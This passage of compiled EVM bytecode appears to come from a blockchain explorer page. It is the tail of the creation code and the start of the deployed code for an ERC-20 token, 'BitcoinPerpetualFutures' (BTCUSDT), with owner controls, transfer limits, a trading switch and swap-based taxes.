114159291906135ad565b6020604051808303816000875af1158015611434573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114589190613580565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506114e3600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000611ec6565b60075460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115569190613143565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611628919061361d565b6000604051808303816000865af19150503d8060008114611665576040519150601f19603f3d011682016040523d82523d6000602084013e61166a565b606091505b50509050806116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a590613680565b60405180910390fd5b8060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061172f611fb4565b506000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d2906131c3565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161184a91906136ff565b60405180910390a150565b6000600454905090565b60008060009050601160009054906101000a900460ff16156118845760019050611931565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119265750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561193057600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a190613766565b60405180910390fd5b601160009054906101000a900460ff16611aa057600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a605750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9690613123565b60405180910390fd5b5b601160019054906101000a900460ff16158015611b065750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1457611b1361209c565b5b60015443108015611b2757506002544310155b8015611b7c5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bf0573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be6906137d2565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c5857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611cb0575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d0057611cc08484846121bc565b611cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf69061383e565b60405180910390fd5b5b6000611d0d858585612353565b905060008184611d1d9190613143565b905083600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6a9190613143565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160076000828254611dbf9190613243565b9250508190555080600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e119190613243565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611eb19190612c48565b60405180910390a36001925050509392505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508115611ef857600090505b611f0184612603565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401611f6896959493929190613899565b60606040518083038185885af1158015611f86573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fab919061390f565b50505050505050565b606460026009600a611fc6919061304a565b62989680611fd49190613095565b611fde9190613095565b611fe89190613212565b600381905550606460026009600a612000919061304a565b6298968061200e9190613095565b6120189190613095565b6120229190613212565b6004819055506001601160006101000a81548160ff02191690831515021790555043600281905550600060199054906101000a900460ff1660ff16600060189054906101000a900460ff1660ff166002546001546120809190613243565b61208a9190613243565b6120949190613243565b600181905550565b6001601160016101000a81548160ff0219169083151502179055506000600754905060055481101580156120dc5750601160009054906101000a900460ff165b1561219e5760065481106120f05760065490505b60008190506009600a612103919061304a565b8111156121835781600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121599190613243565b92505081905550612169816127ed565b816007600082825461217b9190613143565b925050819055505b6000479050600081111561219b5761219a81612a0c565b5b50505b506000601160016101000a81548160ff021916908315150217905550565b60008060019050601160009054906101000a900460ff1680156122295750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561227f5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612348576003548311156122975760009050612347565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561233c575060045483600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461233a9190613243565b115b1561234657600090505b5b5b809150509392505050565b600080601160009054906101000a900460ff1615806123bb5750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061240f5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561241d57600090506125f8565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561257757600060199054906101000a900460ff1660ff16600060189054906101000a900460ff1660ff166002546124a29190613243565b6124ac9190613243565b43106124e3576064600060169054906101000a900460ff1660ff16846124d29190613095565b6124dc9190613212565b9050612572565b600060189054906101000a900460ff1660ff166002546125039190613243565b431061253a576064600060159054906101000a900460ff1660ff16846125299190613095565b6125339190613212565b9050612571565b6002544310612570576064600060149054906101000a900460ff1660ff16846125639190613095565b61256d9190613212565b90505b5b5b6125f7565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125f6576064600060179054906101000a900460ff1660ff16846125e99190613095565b6125f39190613212565b90505b5b5b809150509392505050565b80600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156127ea577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516127e19190612c48565b60405180910390a35b50565b6127f681612603565b6000600267ffffffffffffffff81111561281357612812613962565b5b6040519080825280602002602001820160405280156128415781602001602082028036833780820191505090505b509050308160008151811061285957612858613991565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612900573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129249190613580565b8160018151811061293857612937613991565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016129d6959493929190613a7e565b600060405180830381600087803b1580156129f057600080fd5b505af1158015612a04573d6000803e3d6000fd5b505050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612a74573d6000803e3d6000fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ab2578082015181840152602081019050612a97565b60008484015250505050565b6000601f19601f8301169050919050565b6000612ada82612a78565b612ae48185612a83565b9350612af4818560208601612a94565b612afd81612abe565b840191505092915050565b60006020820190508181036000830152612b228184612acf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b5a82612b2f565b9050919050565b612b6a81612b4f565b8114612b7557600080fd5b50565b600081359050612b8781612b61565b92915050565b6000819050919050565b612ba081612b8d565b8114612bab57600080fd5b50565b600081359050612bbd81612b97565b92915050565b60008060408385031215612bda57612bd9612b2a565b5b6000612be885828601612b78565b9250506020612bf985828601612bae565b9150509250929050565b60008115159050919050565b612c1881612c03565b82525050565b6000602082019050612c336000830184612c0f565b92915050565b612c4281612b8d565b82525050565b6000602082019050612c5d6000830184612c39565b92915050565b600080600060608486031215612c7c57612c7b612b2a565b5b6000612c8a86828701612b78565b9350506020612c9b86828701612b78565b9250506040612cac86828701612bae565b9150509250925092565b600060ff82169050919050565b612ccc81612cb6565b82525050565b6000602082019050612ce76000830184612cc3565b92915050565b600061ffff82169050919050565b612d0481612ced565b8114612d0f57600080fd5b50565b600081359050612d2181612cfb565b92915050565b60008060408385031215612d3e57612d3d612b2a565b5b6000612d4c85828601612d12565b9250506020612d5d85828601612d12565b9150509250929050565b612d7081612c03565b8114612d7b57600080fd5b50565b600081359050612d8d81612d67565b92915050565b600080600060608486031215612dac57612dab612b2a565b5b6000612dba86828701612b78565b9350506020612dcb86828701612d7e565b9250506040612ddc86828701612d7e565b9150509250925092565b600060208284031215612dfc57612dfb612b2a565b5b6000612e0a84828501612b78565b91505092915050565b612e1c81612b4f565b82525050565b6000602082019050612e376000830184612e13565b92915050565b60008060408385031215612e5457612e53612b2a565b5b6000612e6285828601612b78565b9250506020612e7385828601612b78565b9150509250929050565b6000612e8882612b2f565b9050919050565b612e9881612e7d565b8114612ea357600080fd5b50565b600081359050612eb581612e8f565b92915050565b600060208284031215612ed157612ed0612b2a565b5b6000612edf84828501612ea6565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612f6e57808604811115612f4a57612f49612ee8565b5b6001851615612f595780820291505b8081029050612f6785612f17565b9450612f2e565b94509492505050565b600082612f875760019050613043565b81612f955760009050613043565b8160018114612fab5760028114612fb557612fe4565b6001915050613043565b60ff841115612fc757612fc6612ee8565b5b8360020a915084821115612fde57612fdd612ee8565b5b50613043565b5060208310610133831016604e8410600b84101617156130195782820a90508381111561301457613013612ee8565b5b613043565b6130268484846001612f24565b9250905081840481111561303d5761303c612ee8565b5b81810290505b9392505050565b600061305582612b8d565b915061306083612cb6565b925061308d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612f77565b905092915050565b60006130a082612b8d565b91506130ab83612b8d565b92508282026130b981612b8d565b915082820484148315176130d0576130cf612ee8565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b600061310d601083612a83565b9150613118826130d7565b602082019050919050565b6000602082019050818103600083015261313c81613100565b9050919050565b600061314e82612b8d565b915061315983612b8d565b925082820390508181111561317157613170612ee8565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b60006131ad601883612a83565b91506131b882613177565b602082019050919050565b600060208201905081810360008301526131dc816131a0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061321d82612b8d565b915061322883612b8d565b925082613238576132376131e3565b5b828204905092915050565b600061324e82612b8d565b915061325983612b8d565b925082820190508082111561327157613270612ee8565b5b92915050565b7f747820746f6f206c6f7700000000000000000000000000000000000000000000600082015250565b60006132ad600a83612a83565b91506132b882613277565b602082019050919050565b600060208201905081810360008301526132dc816132a0565b9050919050565b7f77616c6c657420746f6f206c6f77000000000000000000000000000000000000600082015250565b6000613319600e83612a83565b9150613324826132e3565b602082019050919050565b600060208201905081810360008301526133488161330c565b9050919050565b7f43616e6e6f74206578656d7074204c5000000000000000000000000000000000600082015250565b6000613385601083612a83565b91506133908261334f565b602082019050919050565b600060208201905081810360008301526133b481613378565b9050919050565b7f4c50206372656174656400000000000000000000000000000000000000000000600082015250565b60006133f1600a83612a83565b91506133fc826133bb565b602082019050919050565b60006020820190508181036000830152613420816133e4565b9050919050565b7f74726164696e67206f70656e0000000000000000000000000000000000000000600082015250565b600061345d600c83612a83565b915061346882613427565b602082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b7f4e6f2045544820696e2063612f6d736700000000000000000000000000000000600082015250565b60006134c9601083612a83565b91506134d482613493565b602082019050919050565b600060208201905081810360008301526134f8816134bc565b9050919050565b7f4e6f20746f6b656e7320696e2063610000000000000000000000000000000000600082015250565b6000613535600f83612a83565b9150613540826134ff565b602082019050919050565b6000602082019050818103600083015261356481613528565b9050919050565b60008151905061357a81612b61565b92915050565b60006020828403121561359657613595612b2a565b5b60006135a48482850161356b565b91505092915050565b60006040820190506135c26000830185612e13565b6135cf6020830184612e13565b9392505050565b600081519050919050565b600081905092915050565b60006135f7826135d6565b61360181856135e1565b9350613611818560208601612a94565b80840191505092915050565b600061362982846135ec565b915081905092915050565b7f4661696c656420616464696e67206c7000000000000000000000000000000000600082015250565b600061366a601083612a83565b915061367582613634565b602082019050919050565b600060208201905081810360008301526136998161365d565b9050919050565b6000819050919050565b60006136c56136c06136bb84612b2f565b6136a0565b612b2f565b9050919050565b60006136d7826136aa565b9050919050565b60006136e9826136cc565b9050919050565b6136f9816136de565b82525050565b600060208201905061371460008301846136f0565b92915050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000613750601d83612a83565b915061375b8261371a565b602082019050919050565b6000602082019050818103600083015261377f81613743565b9050919050565b7f4d455620626c6f636b6564000000000000000000000000000000000000000000600082015250565b60006137bc600b83612a83565b91506137c782613786565b602082019050919050565b600060208201905081810360008301526137eb816137af565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000613828601183612a83565b9150613833826137f2565b602082019050919050565b600060208201905081810360008301526138578161381b565b9050919050565b6000819050919050565b600061388361387e6138798461385e565b6136a0565b612b8d565b9050919050565b61389381613868565b82525050565b600060c0820190506138ae6000830189612e13565b6138bb6020830188612c39565b6138c8604083018761388a565b6138d5606083018661388a565b6138e26080830185612e13565b6138ef60a0830184612c39565b979650505050505050565b60008151905061390981612b97565b92915050565b60008060006060848603121561392857613927612b2a565b5b6000613936868287016138fa565b9350506020613947868287016138fa565b9250506040613958868287016138fa565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139f581612b4f565b82525050565b6000613a0783836139ec565b60208301905092915050565b6000602082019050919050565b6000613a2b826139c0565b613a3581856139cb565b9350613a40836139dc565b8060005b83811015613a71578151613a5888826139fb565b9750613a6383613a13565b925050600181019050613a44565b5085935050505092915050565b600060a082019050613a936000830188612c39565b613aa0602083018761388a565b8181036040830152613ab28186613a20565b9050613ac16060830185612e13565b613ace6080830184612c39565b969550505050505056fea26469706673582212204ce03e4005bb1e0764c76fc366112893ccd7a0e1053ad467e42d57a72f71609464736f6c63430008130033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb146104a3578063c3f70b52146104e0578063dd62ed3e1461050b578063e8078d9414610548578063f2fde38b14610552578063f8b45b051461057b57610156565b806370a0823114610391578063715018a6146103ce57806375f0a874146103e55780638d3e6e40146104105780638da5cb5b1461044d57806395d89b411461047857610156565b8063368f480011610108578063368f48001461028157806346b89834146102aa57806347062402146102d55780634d4ce9351461030057806357ff135a1461032b5780635a90a49e1461035457610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee5780632b14ca561461022b578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105a6565b60405161017d9190612b08565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612bc3565b6105e3565b6040516101ba9190612c1e565b60405180910390f35b3480156101cf57600080fd5b506101d86106d5565b6040516101e59190612c48565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612c63565b6106f8565b6040516102229190612c1e565b60405180910390f35b34801561023757600080fd5b50610240610902565b60405161024d9190612cd2565b60405180910390f35b34801561026257600080fd5b5061026b610918565b6040516102789190612cd2565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a39190612d27565b610921565b005b3480156102b657600080fd5b506102bf610add565b6040516102cc9190612c48565b60405180910390f35b3480156102e157600080fd5b506102ea610ae7565b6040516102f79190612cd2565b60405180910390f35b34801561030c57600080fd5b50610315610afd565b6040516103229190612c48565b60405180910390f35b34801561033757600080fd5b50610352600480360381019061034d9190612d93565b610b07565b005b34801561036057600080fd5b5061037b60048036038101906103769190612de6565b610ce4565b6040516103889190612c1e565b60405180910390f35b34801561039d57600080fd5b506103b860048036038101906103b39190612de6565b610d3a565b6040516103c59190612c48565b60405180910390f35b3480156103da57600080fd5b506103e3610d83565b005b3480156103f157600080fd5b506103fa610e8c565b6040516104079190612e22565b60405180910390f35b34801561041c57600080fd5b5061043760048036038101906104329190612de6565b610eb6565b6040516104449190612c1e565b60405180910390f35b34801561045957600080fd5b50610462610f0c565b60405161046f9190612e22565b60405180910390f35b34801561048457600080fd5b5061048d610f35565b60405161049a9190612b08565b60405180910390f35b3480156104af57600080fd5b506104ca60048036038101906104c59190612bc3565b610f72565b6040516104d79190612c1e565b60405180910390f35b3480156104ec57600080fd5b506104f5610fcf565b6040516105029190612c48565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d9190612e3d565b610fd9565b60405161053f9190612c48565b60405180910390f35b610550611060565b005b34801561055e57600080fd5b5061057960048036038101906105749190612ebb565b61174d565b005b34801561058757600080fd5b50610590611855565b60405161059d9190612c48565b60405180910390f35b60606040518060400160405280601781526020017f426974636f696e50657270657475616c46757475726573000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106c39190612c48565b60405180910390a36001905092915050565b60006009600a6106e5919061304a565b629896806106f39190613095565b905090565b60006107038461185f565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613123565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108ee5781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461086d9190613143565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108f984848461193a565b90509392505050565b60008060179054906101000a900460ff16905090565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a6906131c3565b60405180910390fd5b600060016103e88461ffff166009600a6109c9919061304a565b629896806109d79190613095565b6109e19190613095565b6109eb9190613212565b6109f59190613243565b9050600354811015610a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a33906132c3565b60405180910390fd5b80600381905550600060016103e88461ffff166009600a610a5d919061304a565b62989680610a6b9190613095565b610a759190613095565b610a7f9190613212565b610a899190613243565b9050600454811015610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac79061332f565b60405180910390fd5b8060048190555050505050565b6000600554905090565b60008060169054906101000a900460ff16905090565b6000600654905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c906131c3565b60405180910390fd5b8080610b9e5750815b15610c3157601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c279061339b565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e08906131c3565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610e829190612e22565b60405180910390a1565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4254435553445400000000000000000000000000000000000000000000000000815250905090565b6000610f7d3361185f565b610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb390613123565b60405180910390fd5b610fc733848461193a565b905092915050565b6000600354905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e5906131c3565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461119a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119190613407565b60405180910390fd5b601160009054906101000a900460ff16156111ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e190613473565b60405180910390fd5b60003411806111f95750600047115b611238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122f906134df565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116112ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b19061354b565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134b9190613580565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f89190613580565b6040518363ffffffff1660e01b81526004016114159291906135ad565b6020604051808303816000875af1158015611434573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114589190613580565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506114e3600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000611ec6565b60075460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115569190613143565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611628919061361d565b6000604051808303816000865af19150503d8060008114611665576040519150601f19603f3d011682016040523d82523d6000602084013e61166a565b606091505b50509050806116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a590613680565b60405180910390fd5b8060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061172f611fb4565b506000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d2906131c3565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161184a91906136ff565b60405180910390a150565b6000600454905090565b60008060009050601160009054906101000a900460ff16156118845760019050611931565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119265750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561193057600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a190613766565b60405180910390fd5b601160009054906101000a900460ff16611aa057600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a605750600c60008573fffffffff